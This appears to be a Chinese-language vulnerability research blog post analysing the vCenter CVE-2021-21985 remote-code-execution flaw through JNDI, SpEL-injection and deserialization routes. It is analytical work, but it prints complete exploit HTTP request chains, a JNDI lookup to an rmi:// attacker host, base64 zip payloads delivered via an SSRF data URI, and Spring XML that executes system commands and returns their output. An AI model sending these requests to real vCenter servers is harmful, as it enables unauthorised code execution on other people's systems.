Vcenter漏洞分析

​ 前阵子vcenter爆出了CVE-2021-21985漏洞,师傅们对这个漏洞提出了多种不同的利用方案,都非常的精彩,因此我搭建好了vcenter的环境,并对师傅们公开的利用方法进行了分析。

环境搭建

​ 本来打算通过OVA来安装,试了7.0和6.5的版本,由于各种坑试了两天都没搭建成功,最后无奈在windows下进行安装,需要注意的是在SSO设置域名时,如果是在内网搭建的没有域名,改一下本地的hosts文件随便给个域名就可以了,最终选择6.7的版本进行安装。

image-20210609090510560

​ 接下来开启debug模式,参考Vcenter Server CVE-2021-21985 RCE PAYLOAD,直接在 C:\ProgramData\VMware\vCenterServer\cfg\vmware-vmon\svcCfgfiles\vsphere-ui.json 文件中取消remote debug注释即可。

image-20210630101451825

​ 切换到C:\Program Files\VMware\vCenter Server\bin目录下执行service-control --restart vsphere-ui重启vsphere-ui服务。

image-20210609114002611

漏洞原理

​ 这个漏洞原理并不复杂,在com.vmware.vsan.client.services.ProxygenController#invokeService中实现,根据传入的beanIdOrClassName参数获取bean,再通过methodName获取要调用bean的方法名,再通过body里的methodInput参数获取方法对应的参数,最终通过Invoke反射调用,所以可以调用当前环境中任意bean的任意public方法。

image-20210609133909212

漏洞利用

​ 这个漏洞的主要亮点在于寻找利用的方式,通过上面的分析我们发现通过这个漏洞可以调用任意Bean的任意方法,所以漏洞利用的思路就在于找到一个Bean,里面存在某个恶意的方法,可以让我们执行命令或者进行文件写入,下面分析下网上已经公开的利用方式。

JNDI

​ 这种利用方式来自于Vcenter Server CVE-2021-21985 RCE PAYLOAD,利用者找到了一个vsanProviderUtils_setVmodlHelper,本质上是org.springframework.beans.factory.config.MethodInvokingFactoryBean

image-20210609152623499

​ 在MethodInvokingFactoryBean的父类org.springframework.util.MethodInvoker中的invoke方法中使用了反射调用,也就是如果我们能控制targetObject,preparedMethod和Arguments参数,就可以调用任意类的任意static方法。

image-20210609153217467

​ 看了这种利用方式,我心里有很多疑问,下面我将通过提问的方式来解决我对于这种利用方式的疑惑。

为什么说是任意类的static方法?

在if语句中会进行判断,如果调用方法不为static则会抛异常。

能否调用private方法?

org.springframework.util.ReflectionUtils#makeAccessible(java.lang.reflect.Method)中,判断是否为public方法,如果不是则设置访问属性。因此通过这个点可以调用private方法。

image-20210609155337609

是否需要获取targetObject对象?

​ 由于调用的是static方法,因此不用获取targetObject对象,通过调用setTargetObject设置TargetObject类型为null即可。

image-20210609155900421

如何设置preparedMethod属性?

​ 在org.springframework.util.MethodInvoker#prepare中,通过targetClass.getMethod(targetMethod, argTypes)为methodObject属性赋值。

image-20210609160346846

​ targetClass的获取有两种方式,当staticMethod的属性不为空时,可以通过staticMethod获取targetClass属性,当staticMethod属性为空时,则只能通过setTargetClass来为targetClass属性赋值。

image-20210609160705967

​ 分析下这两种方式的利弊,当设置staticMethod属性时,会将staticMethod的最后一个.之前的内容赋值给targetMethod,resolveClassName方法将targetMethod当作类名,通过 ClassUtils.forName得到对应的Class对象,也会取出最后一个.后的内容赋值给targetMethod属性,因此不用手工为targetMethod属性赋值。

image-20210609172110112

​ 当通过setTargetClass来获取时,只能通过传入Class对象的方式,显然在当前的漏洞环境中无法传递一个Class对象,因此不能使用setTargetClass的方式为targetClass属性赋值。

​ 再看看如何给arguments属性赋值,通过setArguments方法传入一个数组为arguments属性赋值。

image-20210609173111254

​ 最后通过脑图总结下。

image-20210609175952191

为什么可以通过多次请求给Bean不同属性赋值?

​ spring中bean默认是单例的,并且bean的生命周期从spring容器启动开始一直到spring容器的销毁,因此在spring运行过程中,如果没有修改scope作用域,每个bean都只有一个实例。

为什么传入的beanIdOrClassName参数需要加上&?

​ 由于访问的MethodInvokingFactoryBean是工厂bean,所以bean名称应该以&符号为前缀。

是否有其他的点可以访问到MethodInvokingFactoryBean?

​ 除了vsanProviderUtils_setVmodlHelper是MethodInvokingFactoryBean实例外,还有其他的Bean也是MethodInvokingFactoryBean的实例,也可以调用到MethodInvoker的invoke方法。

1
2
3
4
5
6
vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanFormatUtils_setUserSessionService
vsphereHealthProviderUtils_setVsphereHealthServiceFactory
vsanQueryUtil_setDataService
vsanUtils_setMessageBundle
vsanProviderUtils_setVsanServiceFactory

利用过程

  • 设置TargetObject属性
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: test666.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713D
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 22

{"methodInput":[null]}
  • 设置Arguments属性
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: test666.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713D
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 51

{"methodInput":[["rmi://192.168.5.11:9999/test666"]]}
  • 设置staticMethod
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: test666.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713D
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 56

{"methodInput":["javax.naming.InitialContext.doLookup"]}
  • 通过prepare为methodObject赋值
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: test666.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713D
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 18

{"methodInput":[]}
  • invoke反射调用
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: test666.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A5FF3A1A360FE32478CE8079C85ECF94; JSESSIONID=01983551E5225FD5E69BEA4A987D713D
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 18

{"methodInput":[]}

SPEL注入

​ 这种利用方式来自于漏洞的原作者VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析,作者找到了vmodlContext,这个bean是VmodlContextImpl的实现类,通过调用这个类的createContext方法,并传入一个String数组,经过层层调用可以调用到实例化ClassPathXmlApplicationContext的逻辑,并将传入的String数组的内容赋值到ClassPathXmlApplicationContext的构造方法参数中,我们可以在远程服务器上创建一个XML文件,通过传入放置XML服务器的地址,让目标加载远程XML文件并对其中的bean的内容进行SPEL解析,由于这个bean的内容是我们可控的,因此可以执行恶意操作。

​ 由于之前对于SPEL的利用方式没有什么了解,因此通过下面解决下面几个问题快速入门下SPEL注入。

什么是SPEL?它可以做什么?

​ SPEL是一种类似于OGNL的表达式语言,它支持在运行时查询和操纵对象图。

Spring中如何使用SPEL?

​ SPEL表达式可以与 XML 或基于注解的配置元数据一起使用来定义BeanDefinition,定义表达式的语法为#{expression string},需要注意的是,Class实例通过**T(全限定类名)**来引用,比如我们想执行命令,可以通过下面的代码来构造。

1
2
3
<bean id="Helloclass" class="Hello">
<property name="name" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}"></property>
</bean>

ClassPathXmlApplicationContext何时执行SPEL?

​ 首先简单介绍下ClassPathXmlApplicationContext,主要的作用在于从XML中加载定义的Bean,经过测试,当通过new ClassPathXmlApplicationContext("xxx.xml");时会对property中的value属性和bean的Class属性进行SPEL解析。

​ 在org.springframework.beans.factory.support.AbstractBeanFactory#doResolveBeanClass中会获取bean标签中class属性配置的内容并通过evaluateBeanDefinitionString执行SPEL表达式。这里需要注意一下,如果在class属性中传入的SPEL表达式没有返回一个Class对象或String类型的对象,会导致异常并影响后续对property属性的解析。

image-20210622202719853

​ 在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary中会对传入的属性值做SPEL解析。

image-20210622205943891

ClassPathXmlApplicationContext为什么会加载远程xml?

​ 在通过ClassPathXmlApplicationContext加载XML时,会调用org.springframework.beans.factory.xml.XmlBeanDefinitionReader#loadBeanDefinitions(org.springframework.core.io.support.EncodedResource)的getInputStream加载资源,具体调用哪些资源和传入的Resource类型有关系。

image-20210623105151846

​ 查阅官方文档存在UrlResource,利用Urlresource可以通过URL加载资源,值得注意的是除了http协议加载外,也可以通过ftp,file协议加载,UrlResource的getInputStream方法如下。

image-20210623114012678

​ 当然通过UrlResource加载远程XML的方式只能在服务器出网的情况下使用,如果服务器不出网,就不能通过这种方式。

何时对url做处理的?

​ 根据漏洞作者的描述,传入的url中如果包含.会进行转义,我们看下代码中是怎么处理的,是否有其他的方法绕过限制。VmodlContextImpl#getContextFileNameForPackage(java.lang.String)中,会对我们传入的url中的.进行替换,所以我们传入的URL中不能包含.,并且会在请求url后加上/context_v2.xml,通过ClassUtil.getCurrentClassLoader().getResource加载context_v2.xml,但这个加载器不会加载远程的XML,所以我们远程的文件名必须指定为/context.xml。对于IP中.的转换,可以通过IP转数字型IP绕过。

image-20210623175832733

不出网如何利用

​ 作者找到了一个存在ssrf漏洞的点,该漏洞位于VsanHttpProvider.py中,通过正则匹配获取请求的url,再通过urlopen获取响应内容,调用__doGetFileWithinZip进行解压。

image-20210624144821421

​ 在_doGetFileWithinZip中获取解压缩后的文件名,对文件名通过传入的正则.*offline_bundle.*,匹配成功则将文件内容读取并返回。

image-20210624145205253

​ 所以可以制作一个文件名为offline_bundle.xml的内容并制作成zip包,base编码后通过data协议进行发送。另外虽然利用时会拼接/context.xml但并不会影响data协议获取数据。

1
/vsanHealth/vum/driverOfflineBundle/data://text/plain;base64,UEsDBBQABgAIANNz2FJepoT35wAAAJcBAAASAAAAb2ZmbGluZV9idW5kbGUueG1slZCxTsMwEIb3Sn0H6xiaDLFTWFBUtxtiKAsUidV1jtTg2JXP1JEQ707qdICxXnzD/53++1abobfshIGMdxKWvAaGTvvWuE7C6+6huofNej5b7VE5YmPYkYRDjMdGiJQSp2MYo+9B9Zh8+OQ+dIL0AXslMgLzGZteZpuBzD8+3WXktq6X4u1p+5LRyjiKymn8Q5Nppr1br1XMba+owa7IiummKvfnA7UwCjjfkCUw00p4RGu9tooIWP4k3Hzvig91Utwq1/HnLxdNjyXvMF7mouQ4oC4WWlm9KH9gzS5rs6mz5EnZOP0CUEsBAhQAFAAGAAgA03PYUl6mhPfnAAAAlwEAABIAJAAAAAAAAAAgAAAAAAAAAG9mZmxpbmVfYnVuZGxlLnhtbAoAIAAAAAAAAQAYAJ+7ZnHCaNcBrHTYccJo1wHYmeVXwmjXAVBLBQYAAAAAAQABAGQAAAAXAQAAAAA=/context.xml

image-20210624155939617

​ 通过上面的分析,可以构造如下请求进行利用。

1
2
url:/ui/h5-vsan/rest/proxy/service/vmodlContext/createContext
post:{"methodInput":[["https://localhost/vsanHealth/vum/driverOfflineBundle/data://text/plain;base64,UEsDBBQABgAIANNz2FJepoT35wAAAJcBAAASAAAAb2ZmbGluZV9idW5kbGUueG1slZCxTsMwEIb3Sn0H6xiaDLFTWFBUtxtiKAsUidV1jtTg2JXP1JEQ707qdICxXnzD/53++1abobfshIGMdxKWvAaGTvvWuE7C6+6huofNej5b7VE5YmPYkYRDjMdGiJQSp2MYo+9B9Zh8+OQ+dIL0AXslMgLzGZteZpuBzD8+3WXktq6X4u1p+5LRyjiKymn8Q5Nppr1br1XMba+owa7IiummKvfnA7UwCjjfkCUw00p4RGu9tooIWP4k3Hzvig91Utwq1/HnLxdNjyXvMF7mouQ4oC4WWlm9KH9gzS5rs6mz5EnZOP0CUEsBAhQAFAAGAAgA03PYUl6mhPfnAAAAlwEAABIAJAAAAAAAAAAgAAAAAAAAAG9mZmxpbmVfYnVuZGxlLnhtbAoAIAAAAAAAAQAYAJ+7ZnHCaNcBrHTYccJo1wHYmeVXwmjXAVBLBQYAAAAAAQABAGQAAAAXAQAAAAA="],true]}

image-20210624164932358

如何获取回显?

​ 漏洞作者发现了systemProperties是properties对象的实例,通过调用getProperty方法可以获取配置的内容。

image-20210624181222384

​ 可以通过下面的方式调用getProperty方法获取propterties对象中的属性。

1
/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty

image-20210624181816104

​ 下面只要我们将命令执行的结果写入到properties属性中即可,但我经过分析其实不用通过这种方式,因为vcenter并没有屏蔽错误回显,只要让目标将执行的结果通过报错显示出来即可,因此构造如下XML。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="Helloclass" class="#{new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())).lines().collect(T(java.util.stream.Collectors).joining())}">
</bean>
</beans>

​ 需要注意在请求的最后需要随便加一些字符,否则在拼接/context.XML后会报错。

1
2
3
url:/ui/h5-vsan/rest/proxy/service/vmodlContext/createContext
post:
{"methodInput":[["https://localhost/vsanHealth/vum/driverOfflineBundle/data://text/plain;base64,UEsDBBQABgAIAKhR2VL28uJjKgEAABwCAAASAAAAb2ZmbGluZV9idW5kbGUueG1slZE/a8MwEMX3QL6DUIfYQ85Ju5QQJ9BCaSFd8ge6qvLFUSpLQSdHhtLvXkc2JR2jRYL3fqe7e/NlU2l2RkfKmpxPYcIZGmkLZcqc77Yv40e+XAwH808UhlhrNpTzg/enWZaFEIBOrrXunagwWPcF1pUZyQNWIosIHw5YdyI7a0j948NDRO4nk2n28b7aRHSsDHlhJF7RpGZd3ZWVwsdub2iD3eDNupnGsX9oqODtAi4zxCUwVeT8FbW2UgsizuKV87tvg4EdxVmAsvBU7/fosFijKNAl19KbOdV+4x2Kqle3ScS0MCWsa+NVhSmU6Pt3kgI2KJNROFhRqVHUrqokaZqCVgapdUqrNUqf9DVrrzRQ/AyeO8k6SuFolWlza9Gfv+liYJesu+QWv1BLAQIUABQABgAIAKhR2VL28uJjKgEAABwCAAASACQAAAAAAAAAIAAAAAAAAABvZmZsaW5lX2J1bmRsZS54bWwKACAAAAAAAAEAGABFIh+oZ2nXAX3PbahnadcB2JnlV8Jo1wFQSwUGAAAAAAEAAQBkAAAAWgEAAAAA/xxxsasasdasd"],true]}

image-20210625102039421

反序列化

​ 这种攻击思路来自于A Quick Look at CVE-2021–21985 VCenter Pre-Auth RCE,这种攻击思路是在iswin师傅找到的MethodInvoker通过反射调用任意类的静态方法的基础上实现的,在vcenter中存在org.apache.catalina.tribes.io.XByteBuffer#deserialize(byte[])方法,该方法接收我们传入的字节数组并进行反序列化操作。

image-20210625120100124

​ 所以我们只要能调用到deserialize方法并传入字节数组就可以了,那么下一个技术难点在于如何传递一个字节数组。首先我们通过setArguments传入数据时,经过com.vmware.vsan.client.services.ProxygenSerializer#deserializeMethodInput时会对类型进行转换,无论传入什么类型,都会转换为Object数组类型。

image-20210629112401624

​ 在调用org.springframework.util.MethodInvoker#prepare方法时,由于我们传入的是Object数组而调用XByteBuffer#deserialize(byte[])需要一个byte数组,所以这里调用getMethod会导致异常,进而调用到findMatchingMethod方法。

image-20210625120251597

​ 在org.springframework.beans.support.ArgumentConvertingMethodInvoker#doFindMatchingMethod中获取请求方法的参数类型,并调用TypeConverter.convertIfNecessary,通过这个函数将我们传入的Object数组转换为byte数组,这样就解决了传入byte数组的问题。

image-20210629094534142

​ 下面看下我们传入什么样的数据到convertIfNecessary才可以转成我们需要的byte数组,跟到convertIfNecessary代码中进行分析,首先在TypeConverterSupport 中,会调用TypeConverterSupport。doConvert,在doConvert中,会将请求委托给TypeConverterDelegate实现具体的转换逻辑。

image-20210629182439374

image-20210629182548499

​ 由于我们传入的是Object数组,所以会进入到convertToTypedArray方法。

image-20210629182657676

​ 在convertToTypedArray将遍历Object数组的每个值,并转换为byte类型,存放到byte数组中。

image-20210629182819571

​ 所以只要传入对象转换的字节数组对应的Int值,就可以通过转换得到对应的字节数组。

image-20210629183213861

​ 下面我生成一个URLDNS利用链的对象,并得到字节数组的内容。

image-20210629183717319

​ 将该数组的内容通过setArguements进行传递。

image-20210629184817242

​ 再通过TypeConverter转换为byte数组

image-20210629184949200

​ 最终将序列化后的内容传递给org.apache.catalina.tribes.io.XByteBuffer#deserialize(byte[]),完成反序列化操作。

image-20210629185208890

image-20210629185326834

总结

​ 这个漏洞的亮点还是挺多的,无论是通过MethodInvoker将调用任意bean扩展到调用任意静态方法,还是通过ssrf加载请求获取加载的xml,还有通过触发异常对数据类型转换,都体现出了前辈们漏洞研究上的功底,再次感谢师傅们的分享,最后感谢瓜哥帮我分析反序列化数据传递的问题。

参考

A Quick Look at CVE-2021–21985 VCenter Pre-Auth RCE

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析

Vcenter Server CVE-2021-21985 RCE PAYLOAD